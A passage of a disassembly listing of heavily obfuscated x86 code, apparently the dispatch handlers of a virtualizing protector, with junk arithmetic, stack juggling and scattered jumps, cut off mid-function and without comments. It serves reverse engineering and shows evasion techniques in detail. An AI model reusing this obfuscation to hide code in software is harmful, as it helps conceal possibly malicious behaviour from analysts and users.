		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0C8h+var_C8], ecx
		mov	ecx, 200000h
		and	eax, ecx
		mov	ecx, [esp+0C8h+var_C8]
		push	2EF3h
		mov	[esp+0CCh+var_CC], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp+0D0h+var_D0]
		add	esp, 4
		add	eax, 4
		push	eax
		push	[esp+0D0h+var_CC]
		push	[esp+0D4h+var_D4]
		pop	eax
		add	esp, 4
		pop	[esp+0D0h+var_D0]
		jmp	loc_5850CF
; ---------------------------------------------------------------------------


loc_58C538:				; CODE XREF: sub_57DD3A+4345j
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_58414E
; ---------------------------------------------------------------------------


loc_58C54A:				; CODE XREF: sub_57DD3A+CC51j
		push	800h
		pop	ebp
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5878FE
		push	dword ptr [edi+1Ch]
		jmp	loc_5824BE
; ---------------------------------------------------------------------------


loc_58C563:				; CODE XREF: sub_57DD3A+F009j
		add	ebp, edi
		jmp	loc_58D92C
; ---------------------------------------------------------------------------


loc_58C56A:				; CODE XREF: sub_57DD3A+A082j
		push	ecx
		jmp	loc_581EA9
; ---------------------------------------------------------------------------


loc_58C570:				; CODE XREF: sub_57DD3A+989Fj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58A0EE
; ---------------------------------------------------------------------------


loc_58C57D:				; CODE XREF: sub_57DD3A+E65Aj
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp+80h+var_80]
		jmp	loc_586332
; ---------------------------------------------------------------------------


loc_58C588:				; CODE XREF: sub_57DD3A+603Ej
		add	edx, 17897B80h
		push	esi
		mov	esi, 65C4721Fh
		add	edx, esi
		jmp	loc_58B31F
; ---------------------------------------------------------------------------


loc_58C59B:				; CODE XREF: sub_57DD3A+AA87j
		add	edx, 664840D1h
		sub	edx, 2E92016h
		add	edx, esi
		add	edx, 2E92016h
		jmp	loc_5842EA
; ---------------------------------------------------------------------------


loc_58C5B4:				; CODE XREF: sub_57DD3A+81CAj
		push	ebx
		mov	bh, ch
		jmp	loc_585FE9
; ---------------------------------------------------------------------------


loc_58C5BC:				; CODE XREF: sub_57DD3A+9968j
		xchg	esi, ebx
		sub	ebx, 5F77A33Eh
		sub	edx, 584A35EDh
		add	edx, ebx
		add	edx, 584A35EDh
		mov	ebx, [esp+7Eh+var_80+2]
		add	esp, 4
		add	edx, 0C7E9B9A0h
		push	51C3h
		mov	[esp+7Eh+var_80+2], edx
		pop	ebx
		pop	edx
		add	ebx, edi
		jmp	loc_58805C
; ---------------------------------------------------------------------------
		mov	eax, [esp+76h+var_78+2]
		jmp	loc_587999
; ---------------------------------------------------------------------------


loc_58C5F7:				; CODE XREF: sub_57DD3A+9BBFj
		add	eax, ebx
		sub	eax, 6DF26D6Bh
		mov	ebx, [esp+0ACh+var_AC]
		push	edi
		sub	esp, 4
		jmp	loc_587F59
; ---------------------------------------------------------------------------


loc_58C60D:				; CODE XREF: sub_57DD3A+E902j
		add	esi, 5FFC3B63h
		sub	esi, edx
		push	eax
		mov	eax, 7F3D31FEh
		inc	eax
		shl	eax, 3
		neg	eax
		jmp	loc_58205C
; ---------------------------------------------------------------------------


loc_58C626:				; CODE XREF: sub_57DD3A+FE95j
		pop	ecx
		push	ecx
		push	esp
		mov	ecx, [esp+0BCh+var_BC]
		add	esp, 4
		jmp	loc_58BC6D
; ---------------------------------------------------------------------------


loc_58C637:				; CODE XREF: sub_57DD3A+D83Cj
		mov	edx, 6ABF57BAh
		jmp	loc_58C60D
; ---------------------------------------------------------------------------


loc_58C641:				; CODE XREF: sub_57DD3A+5CF8j
		add	esp, 4
		xchg	ecx, [esp+6Ah+var_6C+2]
		jmp	loc_585E0C
; ---------------------------------------------------------------------------
		mov	ecx, [esp+6Ah+var_6C+2]
		push	edx
		push	esp
		jmp	loc_582214
; ---------------------------------------------------------------------------


loc_58C659:				; CODE XREF: sub_57DD3A+BA04j
		xor	eax, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], eax
		xor	eax, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		mov	[esp+6Ch+var_6C], ebx
		sub	[esp+6Ch+var_6C], 89B2CBAh
		push	[esp+6Ch+var_6C]
		push	[esp+70h+var_70]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C4DC
; ---------------------------------------------------------------------------


loc_58C68A:				; CODE XREF: sub_57DD3A+A0DDj
		push	ecx
		mov	ecx, 622B177Fh
		push	ebp
		jmp	loc_58B655
; ---------------------------------------------------------------------------


loc_58C696:				; CODE XREF: sub_57DD3A+CC8Bj
		sub	esp, 4
		jmp	loc_581CA6
; ---------------------------------------------------------------------------


loc_58C69E:				; CODE XREF: sub_57DD3A+4DC2j
		mov	[esp+5Ch+var_5C], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58B983
; ---------------------------------------------------------------------------


loc_58C6B4:				; CODE XREF: sub_57DD3A+3F96j
		push	5BA5h
		mov	[esp+90h+var_90], esi
		push	ebx
		mov	ebx, 3C435619h
		push	ebx
		jmp	loc_58BE47
; ---------------------------------------------------------------------------


loc_58C6C8:				; CODE XREF: sub_57DD3A+6216j
		mov	[esp+0B4h+var_B4], ebx
		jmp	loc_5886A1
; ---------------------------------------------------------------------------
		push	0D86h
		mov	[esp+0B8h+var_B8], edx
		jmp	loc_58A4A5
; ---------------------------------------------------------------------------


loc_58C6DD:				; CODE XREF: sub_57DD3A+A5D0j
		dec	edi
		jmp	loc_583E86
; ---------------------------------------------------------------------------


loc_58C6E3:				; CODE XREF: sub_57DD3A+428Cj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58C6E8:				; CODE XREF: sub_57DD3A+CE06j
		neg	ebp
		push	3B27h
		mov	[esp+0CAh+var_CC+2], ebx
		jmp	loc_58DE9B
; ---------------------------------------------------------------------------


loc_58C6F7:				; CODE XREF: sub_57DD3A+E766j
		mov	esi, [esp+80h+var_80]
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 55625526h
		mov	ebp, 0C295B831h
		add	ebp, esi
		pop	esi
		jmp	loc_58CB70
; ---------------------------------------------------------------------------


loc_58C714:				; CODE XREF: sub_57DD3A+3DD8j
		mov	ebx, eax
		mov	edi, ebx
		pop	ebx
		pop	eax
		add	edx, edi
		jmp	loc_583D9D
; ---------------------------------------------------------------------------
		lodsb
		add	al, 64h
		jmp	loc_581D1F
; ---------------------------------------------------------------------------


loc_58C729:				; CODE XREF: sub_57DD3A+A722j
		mov	[esp+6Ah+var_6C+2], ebp
		push	1A48h
		mov	[esp+6Eh+var_70+2], eax
		mov	eax, 464A237Bh
		mov	ebp, 464A257Bh
		jmp	loc_587792
; ---------------------------------------------------------------------------


loc_58C743:				; CODE XREF: sub_57DD3A+9174j
		sub	eax, 6E463A4Ah
		or	eax, 4BDE5C12h
		xor	eax, 2E74F08h
		sub	eax, 491993DAh
		jmp	loc_58197D
; ---------------------------------------------------------------------------


loc_58C75C:				; CODE XREF: sub_57DD3A+CC7Fj
		push	[esp+94h+var_90]
		pop	edi
		pop	[esp+94h+var_94]
		jmp	loc_588D37
; ---------------------------------------------------------------------------


loc_58C769:				; CODE XREF: sub_57DD3A+A61Fj
		push	14D2h
		jmp	loc_587A60
; ---------------------------------------------------------------------------


loc_58C773:				; CODE XREF: sub_57DD3A+4739j
		add	eax, ebx
		push	esi
		jmp	loc_58DD2A
; ---------------------------------------------------------------------------


loc_58C77B:				; CODE XREF: sub_57DD3A+CBDCj
		push	edx
		push	4FD84CD0h
		pop	edx
		xor	edi, edx
		pop	edx
		push	eax
		jmp	loc_58D06F
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		push	42C8h
		jmp	loc_5846E1
; ---------------------------------------------------------------------------


loc_58C79A:				; CODE XREF: sub_57DD3A+D8C1j
		sub	[esp+7Ah+var_78+2], edx
		pop	edx
		sub	[esp+76h+var_78+2], 2FDF0F7Fh
		sub	[esp+76h+var_78+2], ebx
		add	[esp+76h+var_78+2], 2FDF0F7Fh
		add	[esp+76h+var_78+2], 0B213DC8h
		jmp	loc_583F19
; ---------------------------------------------------------------------------


loc_58C7BC:				; CODE XREF: sub_57DD3A+A521j
		xor	ebx, 277246BBh
		sub	edx, 12DA3138h
		sub	edx, 230B5384h
		add	edx, ebx
		jmp	loc_58B22A
; ---------------------------------------------------------------------------


loc_58C7D5:				; CODE XREF: sub_57DD3A+C713j
		mov	[esp+0CCh+var_CC], ebx
		jmp	loc_586C21
; ---------------------------------------------------------------------------


loc_58C7DD:				; CODE XREF: sub_57DD3A+D05Fj
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp+84h+var_84]
		jmp	loc_5880E0
; ---------------------------------------------------------------------------


loc_58C7ED:				; CODE XREF: sub_57DD3A+7FF3j
		xor	edx, 595A24E7h
		push	ebx
		mov	ebx, 5F254F89h
		push	ecx
		jmp	loc_58A4B3
; ---------------------------------------------------------------------------


loc_58C7FF:				; CODE XREF: sub_57DD3A+5F2Cj
		mov	eax, 0
		add	eax, edx
		push	edx
		mov	edx, 0
		jmp	loc_584199
; ---------------------------------------------------------------------------


loc_58C811:				; CODE XREF: sub_57DD3A+FCFAj
		mov	edi, [esp+86h+var_88+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58A55C
; ---------------------------------------------------------------------------


loc_58C825:				; CODE XREF: sub_57DD3A+7A7Ej
		xchg	ebx, ebp
		neg	ebx
		xchg	ebx, ebp
		and	ebp, 62E60734h
		not	ebp
		sub	ebp, 0CD979FF9h
		mov	ebx, ebp
		mov	ebp, [esp+7Ah+var_7C+2]
		add	esp, 4
		mov	edi, ebx
		jmp	loc_5851E4
; ---------------------------------------------------------------------------


loc_58C848:				; CODE XREF: sub_57DD3A+D84Fj
		mov	esp, [esp+6Ah+var_6C+2]
		imul	cl
		jmp	loc_583C3D
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_584186
; ---------------------------------------------------------------------------


loc_58C85E:				; CODE XREF: sub_57DD3A+A68Aj
		add	edi, 79C05EAAh
		xor	edi, 0F5278E5Ch
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	esi, edi
		push	[esp+76h+var_78+2]
		pop	edi
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+7Ah+var_7C+2]
		pop	esp
		xor	esi, [esp+76h+var_78+2]
		xor	[esp+76h+var_78+2], esi
		xor	esi, [esp+76h+var_78+2]
		mov	esp, [esp+76h+var_78+2]
		or	[esp+76h+var_78+2], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		push	27A4h
		jmp	loc_58289C
; ---------------------------------------------------------------------------


loc_58C8B0:				; CODE XREF: sub_57DD3A+6C2Bj
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 6A49424Bh
		inc	ebp
		xor	ebp, 4C2B5947h
		sub	ebx, 4DF06AE4h
		add	ebx, ebp
		add	ebx, 4DF06AE4h
		jmp	loc_585CDA
; ---------------------------------------------------------------------------


loc_58C8D9:				; CODE XREF: sub_57DD3A+8B99j
		pop	edx
		add	bl, 3Eh
		add	bl, 39h
		add	bl, al
		jmp	loc_5860D9
; ---------------------------------------------------------------------------


loc_58C8E7:				; CODE XREF: sub_57DD3A+65ECj
		add	edx, eax
		sub	edx, 638B7C31h
		mov	eax, [esp+98h+var_98]
		jmp	loc_584972
; ---------------------------------------------------------------------------


loc_58C8F7:				; CODE XREF: sub_57DD3A+C02Cj
		or	eax, eax
		jz	loc_583221
		push	dword ptr [edi+1Ch]
		push	[esp+82h+var_84+2]
		mov	ecx, [esp+86h+var_88+2]
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_588844
; ---------------------------------------------------------------------------


loc_58C911:				; CODE XREF: sub_57DD3A+4E49j
		add	edi, ebp
		jmp	loc_58AD9E
; ---------------------------------------------------------------------------


loc_58C918:				; CODE XREF: sub_57DD3A+D901j
		pop	ecx
		jmp	loc_585C76
; ---------------------------------------------------------------------------


loc_58C91E:				; CODE XREF: sub_57DD3A+3F2Cj
		sub	eax, edi
		jmp	loc_586143
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58C92D:				; CODE XREF: sub_57DD3A+4C79j
		add	edx, 3CDD63CFh
		mov	ebp, edx
		pop	edx
		neg	ebp
		add	ebp, 510B3630h
		push	esi
		push	3BCD69E4h
		jmp	loc_583F9C
; ---------------------------------------------------------------------------


loc_58C949:				; CODE XREF: sub_57DD3A+7800j
		push	565Fh
		mov	[esp+76h+var_78+2], ebx
		mov	ebx, 40h
		jmp	loc_58A5B3
; ---------------------------------------------------------------------------


loc_58C95B:				; CODE XREF: sub_57DD3A+F5E1j
		push	ebx
		mov	ebx, 2B272BD2h
		push	eax
		jmp	loc_586150
; ---------------------------------------------------------------------------


loc_58C967:				; CODE XREF: sub_57DD3A+514Aj
		add	ebp, eax
		jmp	loc_58A13E
; ---------------------------------------------------------------------------


loc_58C96E:				; CODE XREF: sub_57DD3A+CFF5j
		add	esi, edi
		mov	edi, [esp+0BCh+var_BC]
		add	esp, 4
		xor	esi, [esp+0B8h+var_B8]
		xor	[esp+0B8h+var_B8], esi
		xor	esi, [esp+0B8h+var_B8]
		pop	esp
		jmp	loc_584735
; ---------------------------------------------------------------------------


loc_58C988:				; CODE XREF: sub_57DD3A+F1E5j
		mov	[esp+0B4h+var_B4], ebp
		push	35F33DE3h
		mov	ebp, [esp+0B8h+var_B8]
		add	esp, 4
		sub	[esp+0B4h+var_B0], ebp
		push	[esp+0B4h+var_B4]
		jmp	loc_5875CF
; ---------------------------------------------------------------------------


loc_58C9A2:				; CODE XREF: sub_57DD3A+5093j
		pop	eax
		neg	edx
		xor	edx, 0A0E68CBh
		inc	edx
		jmp	loc_583C23
; ---------------------------------------------------------------------------


loc_58C9B1:				; CODE XREF: sub_57DD3A+8FCDj
		pop	esi
		add	edi, ebx
		jmp	loc_58AC4F
; ---------------------------------------------------------------------------


loc_58C9B9:				; CODE XREF: sub_57DD3A+5BF5j
		pop	esp
		jmp	loc_581955
; ---------------------------------------------------------------------------


loc_58C9BF:				; CODE XREF: sub_57DD3A+A4B3j
		push	ebx
		mov	ebx, 22235CD8h
		sub	ebx, 42F3CDDh
		shl	ebx, 3
		neg	ebx
		shl	ebx, 3
		add	ebx, 7D07FEC4h
		add	esi, ebx
		jmp	loc_588A1C
; ---------------------------------------------------------------------------


loc_58C9E0:				; CODE XREF: sub_57DD3A+6819j
		add	ebx, 0E0EF1AF6h
		jmp	loc_58AFA8
; ---------------------------------------------------------------------------


loc_58C9EB:				; CODE XREF: sub_57DD3A+417Bj
		xchg	eax, ebx
		push	ebp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		jmp	loc_582C7E
; ---------------------------------------------------------------------------


loc_58C9FC:				; CODE XREF: sub_57DD3A+E68Dj
		push	ebx
		mov	ebx, 44A727EFh
		jmp	loc_58715C
; ---------------------------------------------------------------------------


loc_58CA07:				; CODE XREF: sub_57DD3A+7A56j
		mov	ebp, 2
		jmp	loc_58C36C
; ---------------------------------------------------------------------------


loc_58CA11:				; CODE XREF: sub_57DD3A+B243j
		add	ebx, 4
		xchg	ebx, [esp+64h+var_64]
		jmp	loc_58191D
; ---------------------------------------------------------------------------


loc_58CA1C:				; CODE XREF: sub_57DD3A+4162j
		pop	eax
		sub	bl, dl
		add	bl, 44h
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58CA2E:				; CODE XREF: sub_57DD3A+C19Fj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], esi
		mov	esi, 667D33CCh
		xor	[esp+8Eh+var_8C+2], esi
		mov	esi, [esp+8Eh+var_90+2]
		add	esp, 4
		push	[esp+8Ah+var_8C+2]
		mov	ecx, [esp+8Eh+var_90+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58B9A3
; ---------------------------------------------------------------------------


loc_58CA6F:				; CODE XREF: sub_57DD3A+AA5Bj
		pop	edi
		and	[edi+1Ch], ebp
		mov	ebp, [esp+86h+var_88+2]
		jmp	loc_58DD88
; ---------------------------------------------------------------------------


loc_58CA7B:				; CODE XREF: sub_57DD3A+FD05j
		push	edx
		jmp	loc_58C381
; ---------------------------------------------------------------------------


loc_58CA81:				; CODE XREF: sub_57DD3A+C571j
		or	edx, eax
		jmp	loc_5855C5
; ---------------------------------------------------------------------------


loc_58CA88:				; CODE XREF: sub_57DD3A+84ABj
		sub	ebx, 47CF77BBh
		jmp	loc_589CDE
; ---------------------------------------------------------------------------


loc_58CA93:				; CODE XREF: sub_57DD3A+F03Ej
		sub	ebp, eax
		mov	eax, [esp+0A8h+var_A8]
		jmp	loc_584CDA
; ---------------------------------------------------------------------------


loc_58CA9D:				; CODE XREF: sub_57DD3A+7D27j
		add	esp, 4
		mov	ebp, edi
		mov	edi, [esp+90h+var_90]
		jmp	loc_588BF5
; ---------------------------------------------------------------------------


loc_58CAAD:				; CODE XREF: sub_57DD3A+994Aj
		add	edi, 4
		xchg	edi, [esp+76h+var_78+2]
		pop	esp
		xchg	eax, [esp+72h+var_74+2]
		jmp	loc_58879A
; ---------------------------------------------------------------------------


loc_58CABC:				; CODE XREF: sub_57DD3A+58CDj
		mov	esp, [esp+0A8h+var_A8]
		jmp	loc_586F6E
; ---------------------------------------------------------------------------


loc_58CAC4:				; CODE XREF: sub_57DD3A+6B56j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+90h+var_90]
		pop	esp
		jmp	loc_58AD7C
; ---------------------------------------------------------------------------


loc_58CAD9:				; CODE XREF: sub_57DD3A+6A69j
		push	[esp+0C8h+var_C8]
		pop	edx
		add	esp, 4
		mov	ebx, [esp+0C4h+var_C4]
		add	esp, 4
		jmp	loc_585DA6
; ---------------------------------------------------------------------------


loc_58CAF1:				; CODE XREF: sub_57DD3A+D565j
		pop	ebp
		push	eax
		pop	ebp
		pop	eax
		mov	eax, 0C1CC9474h
		add	eax, 8DE5D31h
		add	eax, ebp
		push	ebx
		mov	ebx, 8DE5D31h
		sub	eax, ebx
		pop	ebx
		pop	ebp
		add	eax, edi
		add	dword ptr [eax], 1
		mov	eax, [esp+6Eh+var_70+2]
		add	esp, 4


loc_58CB1C:				; CODE XREF: sub_57DD3A+764Cj
		push	ebp
		push	ebx
		sub	esp, 4
		mov	[esp+76h+var_78+2], ebp
		mov	ebp, 44DC024Dh
		xor	[esp+76h+var_74+2], ebp
		pop	ebp
		pop	ebp
		jmp	loc_587D5C
; ---------------------------------------------------------------------------


loc_58CB34:				; CODE XREF: sub_57DD3A+F844j
		push	16DB57A0h
		jmp	loc_58C472
; ---------------------------------------------------------------------------


loc_58CB3E:				; CODE XREF: sub_57DD3A+7587j
		sub	eax, edx
		pop	edx
		sub	eax, ebx
		jmp	loc_582EA6
; ---------------------------------------------------------------------------


loc_58CB48:				; CODE XREF: sub_57DD3A+4FB1j
		mov	ebp, 28FA3225h
		shl	ebp, 8
		jmp	loc_58D15A
; ---------------------------------------------------------------------------


loc_58CB55:				; CODE XREF: sub_57DD3A+D90Aj
		sub	esp, 4
		mov	[esp+86h+var_88+2], edi
		push	esp
		mov	edi, [esp+8Ah+var_8C+2]
		jmp	loc_58DAC6
; ---------------------------------------------------------------------------


loc_58CB67:				; CODE XREF: sub_57DD3A+6CB3j
		xor	bl, 0D2h
		push	eax
		jmp	loc_58B077
; ---------------------------------------------------------------------------


loc_58CB70:				; CODE XREF: sub_57DD3A+E9D5j
		not	ebp
		jmp	loc_585147
; ---------------------------------------------------------------------------


loc_58CB77:				; CODE XREF: sub_57DD3A+8A0Cj
		add	ecx, edi
		jmp	loc_586EEA
; ---------------------------------------------------------------------------


loc_58CB7E:				; CODE XREF: sub_57DD3A+B277j
		add	[esp+0B8h+var_B8], 4
		jmp	loc_58A492
; ---------------------------------------------------------------------------


loc_58CB8A:				; CODE XREF: sub_57DD3A+5E86j
		or	eax, eax
		jz	loc_5821C8
		push	edx
		push	6325h
		mov	[esp+0BEh+var_C0+2], ebp
		mov	ebp, ebx
		push	ebp
		push	eax
		jmp	loc_58C139
; ---------------------------------------------------------------------------


loc_58CBA4:				; CODE XREF: sub_57DD3A+E5F6j
		push	ebx
		mov	bl, 0AAh
		jmp	loc_582F0A
; ---------------------------------------------------------------------------


loc_58CBAC:				; CODE XREF: sub_57DD3A+C12Ej
		shr	edi, 5
		xor	edi, 8AC3BC8h
		jmp	loc_581ADD
; ---------------------------------------------------------------------------


loc_58CBBA:				; CODE XREF: sub_57DD3A+E439j
		mov	[esp+0BCh+var_BC], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0BCh+var_BC]
		mov	esp, [esp+0BCh+var_BC]
		push	eax
		mov	eax, esp
		jmp	loc_583934
; ---------------------------------------------------------------------------


loc_58CBD9:				; CODE XREF: sub_57DD3A+D3C1j
		pop	esp
		push	ebx
		mov	ebx, 3C325A25h
		xor	ebx, 3E325A25h
		and	eax, ebx
		push	[esp+8Ch+var_8C]
		pop	ebx
		jmp	loc_5834DC
; ---------------------------------------------------------------------------


loc_58CBF1:				; CODE XREF: sub_57DD3A+50BEj
		sub	ebx, 115C02A7h
		add	ebx, ecx
		add	ebx, 115C02A7h
		mov	ecx, [esp+98h+var_98]
		jmp	loc_586D13
; ---------------------------------------------------------------------------


loc_58CC07:				; CODE XREF: sub_57DD3A+581Bj
		push	ebx
		push	ebp
		jmp	loc_58D115
; ---------------------------------------------------------------------------


loc_58CC0E:				; CODE XREF: sub_57DD3A+6626j
		add	ecx, edi
		xor	dword ptr [ecx], 0E62BC473h
		pop	ecx


loc_58CC17:				; CODE XREF: sub_57DD3A+4B37j
					; sub_57DD3A+70AEj
		push	[esp+94h+var_94]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_581DD9
; ---------------------------------------------------------------------------


loc_58CC23:				; CODE XREF: sub_57DD3A+61FBj
		push	ebp
		push	27EB2B48h
		pop	ebp
		push	0
		sub	[esp+0B8h+var_B8], ebp
		jmp	loc_586680
; ---------------------------------------------------------------------------


loc_58CC37:				; CODE XREF: sub_57DD3A+6ADBj
		mov	[esp+86h+var_88+2], ebp
		mov	ebp, 74C14623h
		xor	ebp, 5C8A048Fh
		add	ebp, 6CFD2338h
		dec	ebp
		jmp	loc_583E63
; ---------------------------------------------------------------------------


loc_58CC51:				; CODE XREF: sub_57DD3A+C605j
		shl	eax, cl
		push	edi
		push	ecx
		mov	ecx, 1
		mov	edi, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_58D2CE
; ---------------------------------------------------------------------------


loc_58CC68:				; CODE XREF: sub_57DD3A+4FD4j
		xor	eax, 7DAB7A9Ah
		jmp	loc_58773D
; ---------------------------------------------------------------------------


loc_58CC72:				; CODE XREF: sub_57DD3A+C832j
		push	eax
		mov	eax, 1C0F0FD6h
		sub	edi, eax
		jmp	loc_588037
; ---------------------------------------------------------------------------


loc_58CC7F:				; CODE XREF: sub_57DD3A+8F82j
		xchg	ebp, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		mov	[esp+86h+var_88+2], ecx
		pop	eax
		pop	ecx
		push	74EBh
		mov	[esp+82h+var_84+2], ecx
		jmp	loc_58DE2C
; ---------------------------------------------------------------------------


loc_58CC97:				; CODE XREF: sub_57DD3A+AF1Cj
		push	esp
		pop	[esp+78h+var_78]
		push	eax
		mov	eax, 4
		jmp	loc_588E3E
; ---------------------------------------------------------------------------


loc_58CCA6:				; CODE XREF: sub_57DD3A+9B86j
		sub	dl, 68h
		add	dl, ch
		jmp	loc_58A61E
; ---------------------------------------------------------------------------


loc_58CCB0:				; CODE XREF: sub_57DD3A+FA76j
		mov	ebx, [esp+0A8h+var_A8]
		add	esp, 4
		jmp	loc_5828FC
; ---------------------------------------------------------------------------


loc_58CCBB:				; CODE XREF: sub_57DD3A+D7D8j
		pop	ebp
		push	ebx
		push	[esp+94h+var_90]
		pop	ebx
		pop	[esp+94h+var_94]
		pop	esp
		jmp	loc_588DE0
; ---------------------------------------------------------------------------


loc_58CCCB:				; CODE XREF: sub_57DD3A+6107j
		push	edx
		mov	dl, bl
		jmp	loc_58420A
; ---------------------------------------------------------------------------


loc_58CCD3:				; CODE XREF: sub_57DD3A+F369j
		mov	ebp, [esp+9Ch+var_9C]
		add	esp, 4
		sub	ecx, 4
		jmp	loc_586166
; ---------------------------------------------------------------------------


loc_58CCE4:				; CODE XREF: sub_57DD3A+F1C2j
		add	ecx, edx
		pop	edx
		xor	ecx, [esp+94h+var_94]
		xor	[esp+94h+var_94], ecx
		jmp	loc_588174
; ---------------------------------------------------------------------------


loc_58CCF2:				; CODE XREF: sub_57DD3A+4363j
		pop	esp
		mov	[esp+5Eh+var_60+2], edx
		sub	esp, 4
		mov	[esp+62h+var_64+2], eax
		push	esi
		jmp	loc_58A060
; ---------------------------------------------------------------------------


loc_58CD05:				; CODE XREF: sub_57DD3A+48F1j
		mov	dl, ch
		pop	ecx
		mov	cl, dl
		pop	edx
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5851A7
; ---------------------------------------------------------------------------


loc_58CD19:				; CODE XREF: sub_57DD3A+5A98j
		push	ecx
		mov	ecx, 0EC080EBFh
		sub	ebp, ecx
		jmp	loc_58481A
; ---------------------------------------------------------------------------


loc_58CD26:				; CODE XREF: sub_57DD3A+D8ACj
		xor	dword ptr [edi+20h], 50A5317h
		mov	esi, [esp+6Eh+var_70+2]
		jmp	loc_58286E
; ---------------------------------------------------------------------------


loc_58CD35:				; CODE XREF: sub_57DD3A+A7C9j
		mov	[esp+9Ch+var_9C], ebp
		push	edi
		mov	edi, 0C8F10C2h
		mov	ebp, 0F370EF42h
		jmp	loc_58C563
; ---------------------------------------------------------------------------


loc_58CD48:				; CODE XREF: sub_57DD3A+891Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58737A
; ---------------------------------------------------------------------------


loc_58CD5C:				; CODE XREF: sub_57DD3A+9627j
		mov	[esp+0AAh+var_AC+2], ebx
		mov	ebx, 3C52C91h
		dec	ebx
		shr	ebx, 5
		push	27FEh
		jmp	loc_58B35F
; ---------------------------------------------------------------------------


loc_58CD72:				; CODE XREF: sub_57DD3A+DABCj
		push	2
		pop	eax
		jmp	loc_58CA93
; ---------------------------------------------------------------------------


loc_58CD7D:				; CODE XREF: sub_57DD3A+7052j
		mov	esi, [esp+6Ch+var_6C]
		jmp	loc_58D449
; ---------------------------------------------------------------------------


loc_58CD85:				; CODE XREF: sub_57DD3A+4C27j
		sub	bx, ax
		jmp	loc_5894F0
; ---------------------------------------------------------------------------


loc_58CD8D:				; CODE XREF: sub_57DD3A+10235j
		mov	ch, 5Ch
		jmp	loc_582835
; ---------------------------------------------------------------------------


loc_58CD94:				; CODE XREF: sub_57DD3A+54F4j
		mov	ecx, [esp+5Eh+var_60+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_58BDB4
; ---------------------------------------------------------------------------


loc_58CDA4:				; CODE XREF: sub_57DD3A+DB7Cj
		push	[esp+0A4h+var_A4]
		mov	edx, [esp+0A8h+var_A8]
		add	esp, 4
		jmp	loc_582724
; ---------------------------------------------------------------------------


loc_58CDB5:				; CODE XREF: sub_57DD3A+4D49j
		sub	[esp+68h+var_68], edx
		pop	edx
		jmp	loc_58BC02
; ---------------------------------------------------------------------------


loc_58CDBE:				; CODE XREF: sub_57DD3A+9E94j
		mov	ecx, 667B73DBh
		shl	ecx, 5
		or	ecx, 641B5B02h
		sub	ecx, 9B8553A5h
		sub	edx, ecx
		pop	ecx
		sub	edx, esi
		add	edx, 53FA27BDh
		push	ebp
		mov	ebp, 50385E85h
		add	edx, ebp
		pop	ebp
		jmp	loc_587C70
; ---------------------------------------------------------------------------


loc_58CDEB:				; CODE XREF: sub_57DD3A+60EBj
		mov	edx, [esp+0BCh+var_BC]
		add	esp, 4
		push	eax
		mov	eax, ebx
		mov	edx, eax
		jmp	loc_58AF9F
; ---------------------------------------------------------------------------


loc_58CDFB:				; CODE XREF: sub_57DD3A+5994j
		mov	dl, 73h
		and	cl, dl
		pop	dx
		add	cl, 0Fh
		jmp	loc_581E7C
; ---------------------------------------------------------------------------


loc_58CE09:				; CODE XREF: sub_57DD3A+96BFj
		sub	ch, dl
		sub	ch, 97h
		pop	edx
		add	al, ch
		jmp	loc_588C35
; ---------------------------------------------------------------------------


loc_58CE16:				; CODE XREF: sub_57DD3A+6C23j
		not	cl
		sub	cl, 12h
		mov	dh, cl
		pop	ecx
		shl	dh, 7
		push	ebx
		mov	bl, 0C9h
		xor	bl, 0C8h
		add	dh, bl
		pop	ebx
		push	dx
		mov	dh, 8
		sub	al, 15h
		sub	al, dh
		push	edx
		mov	dh, 0E3h
		sub	dh, 22h
		and	dh, 25h
		xor	dh, 0A2h
		and	dh, 32h
		xor	dh, 37h
		add	al, dh
		jmp	loc_58D1FD
; ---------------------------------------------------------------------------


loc_58CE4B:				; CODE XREF: sub_57DD3A+A846j
